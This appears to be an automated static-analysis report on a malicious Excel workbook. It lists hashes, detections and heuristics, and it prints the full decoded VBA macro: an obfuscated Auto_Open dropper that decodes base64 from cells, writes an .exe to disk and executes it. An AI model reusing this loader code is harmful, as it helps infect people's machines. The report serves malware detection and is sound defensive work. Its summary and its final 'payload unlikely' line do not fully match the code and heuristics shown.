Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 91080f741058226b…

MALICIOUS

Office (OOXML)

20.4 KB Created: 2021-06-07 17:28:04 UTC Authoring application: Microsoft Excel 16.0300 First seen: 2021-06-17
MD5: ecb391f71e63b7d2593b231c4e56191a SHA-1: f898eba5a480f6ddcb22c73177ed10ffb7399bcd SHA-256: 91080f741058226b03f66cfca17f56a00d636a8d99a9539a56ba51e4947491dc
348 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1059 Command and Scripting Interpreter T1204.002 Malicious File T1105 Ingress Tool Transfer

This Excel document contains an Auto_Open VBA macro that is obfuscated and uses CreateObject and Shell calls. The macro is designed to download and execute a second-stage payload, as indicated by the ClamAV detection of 'Xls.Malware.Valyria-6865621-0'. The presence of these indicators strongly suggests a malicious intent to compromise the user's system.

Heuristics 7

  • ClamAV: Xls.Malware.Valyria-6865621-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Xls.Malware.Valyria-6865621-0
  • VBA project inside OOXML medium 5 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • Potential Shell call in VBA critical OLE_VBA_SHELL
    Potential Shell call in VBA
    Matched line in script
    Call rit(pth, b)
    Shell (pth)
    End Sub
  • Obfuscated auto-exec VBA loader critical OLE_VBA_OBFUSCATED_AUTOEXEC_LOADER
    Auto-exec VBA reconstructs strings with a heavy custom decoder (numeric char-array, repeated hex-string decode, or junk-token Replace removal) and feeds them to a COM-instantiation or execution sink. This obfuscated-loader shape keeps CreateObject/Shell/URL indicators out of the macro source.
    Matched line in script
    Dim DM, EL
    Set DM = CreateObject(Chr(77) & Chr(105) & Chr(99) & Chr(114) & Chr(111) & Chr(115) & Chr(111) & Chr(102) & Chr(116) & Chr(46) & Chr(88) & Chr(77) & Chr(76) & Chr(68) & Chr(79) & Chr(77))
    Set EL = DM.createElement(Chr(116) & Chr(109) & Chr(112))
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
    Dim DM, EL
    Set DM = CreateObject(Chr(77) & Chr(105) & Chr(99) & Chr(114) & Chr(111) & Chr(115) & Chr(111) & Chr(102) & Chr(116) & Chr(46) & Chr(88) & Chr(77) & Chr(76) & Chr(68) & Chr(79) & Chr(77))
    Set EL = DM.createElement(Chr(116) & Chr(109) & Chr(112))
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Auto_Open macro low OLE_VBA_AUTO
    Auto_Open macro
    Matched line in script
    Attribute VB_Name = "Module1"
    Sub Auto_Open()
    Call Sh3JBuUJ

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 1957 bytes
SHA-256: 2b05c3cd1bd86bcdf17444898168f14d8847b75c4ff18dae4569b224cd0226f2
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "Workbook______________"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Worksheet______1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Module1"
Sub Auto_Open()
Call Sh3JBuUJ
End Sub
Function GetVal(sr As Long, er As Long, c As Long)
Dim x
For i = sr To er
x = x + Cells(i, c)
Next
GetVal = x
End Function
Function GetRand()
Dim r As String
Dim i As Integer
Randomize
For i = 1 To 8
If i Mod 2 = 0 Then
r = Chr(Int((90 - 65 + 1) * Rnd + 65)) & r
Else
r = Int((9 * Rnd) + 1) & r
End If
Next i
GetRand = r
End Function
Function dec(b64)
Dim DM, EL
Set DM = CreateObject(Chr(77) & Chr(105) & Chr(99) & Chr(114) & Chr(111) & Chr(115) & Chr(111) & Chr(102) & Chr(116) & Chr(46) & Chr(88) & Chr(77) & Chr(76) & Chr(68) & Chr(79) & Chr(77))
Set EL = DM.createElement(Chr(116) & Chr(109) & Chr(112))
EL.DataType = Chr(98) & Chr(105) & Chr(110) & Chr(46) & Chr(98) & Chr(97) & Chr(115) & Chr(101) & Chr(54) & Chr(52)
EL.Text = b64
dec = EL.NodeTypedValue
End Function
Sub rit(file, bytes)
Dim b
Set b = CreateObject(Chr(65) & Chr(68) & Chr(79) & Chr(68) & Chr(66) & Chr(46) & Chr(83) & Chr(116) & Chr(114) & Chr(101) & Chr(97) & Chr(109))
b.Type = 1
b.Open
b.Write bytes
b.SaveToFile file, 2
End Sub
Sub Sh3JBuUJ()
Dim p, pth As String
Dim b
pth = Application.UserLibraryPath & GetRand & Chr(46) & Chr(101) & Chr(120) & Chr(101)
p = GetVal(3558, 3562, 209)
b = dec(p)
Call rit(pth, b)
Shell (pth)
End Sub
vbaProject_00.bin vba-project OOXML VBA project: xl/vbaProject.bin 44544 bytes
SHA-256: fce2e080ecd76266f7614bdcecd8edc57f6231a0816edbcd776eefb2225b0243
Detection
ClamAV: Xls.Malware.Valyria-6865621-0
Obfuscation or payload: unlikely